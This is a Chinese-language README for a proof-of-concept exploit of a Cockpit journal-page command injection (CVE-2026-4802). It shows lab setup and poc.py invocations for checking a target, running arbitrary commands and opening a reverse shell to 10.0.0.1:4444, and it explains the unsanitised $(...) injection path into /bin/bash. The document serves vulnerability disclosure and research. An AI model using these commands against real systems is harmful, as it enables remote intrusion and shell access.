针对 CVE-2026-4802 的概念验证漏洞利用程序，该漏洞为 Cockpit 系统日志界面（loadServiceFilters()）中通过命令注入实现的远程代码执行。
构建并运行存在漏洞的环境：
$ docker build -t cockpit-vuln .
$ docker run --rm -d --privileged -p 9090:9090 cockpit-vuln
# 检查目标是否存在漏洞
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode check
# 执行任意命令
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "id"
# 反弹 Shell
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode reverse --lhost 10.0.0.1 --lport 4444
pkg/systemd/logsJournal.jsx 的未修补版本）pkg/systemd/logsJournal.jsx 中的 loadServiceFilters() 函数通过将数组拼接为字符串（仅进行空格转义）来构造 shell 命令，然后将其传递给 /bin/bash -ec。来自日志页面 URL 片段（例如 --since=）的用户可控参数未经净化便进入此代码路径，从而允许注入 shell 元字符，例如命令替换（$(...)）。
本工具仅用于教育和研究目的。请仅在您拥有或已获得明确测试许可的系统上使用。作者不对因使用本程序而造成的任何滥用或损害负责。
QuimeraX Intelligence 是一个先进的 EASM 和网络威胁情报平台，专注于识别复杂系统中的关键漏洞。该平台主动监控、检测并提醒客户安全威胁，确保透明性并快速响应潜在风险。如果客户系统被发现存在漏洞，客户会立即收到通知和全面报告，从而能够采取保护措施。了解更多
Hakai Security 是一家由安全专业人士创立的网络安全公司，致力于技术卓越。我们提供量身定制的安全解决方案，包括高级渗透测试、逼真的红队模拟以及安全开发实践，以主动保护客户的资产免受不断演变的网络威胁。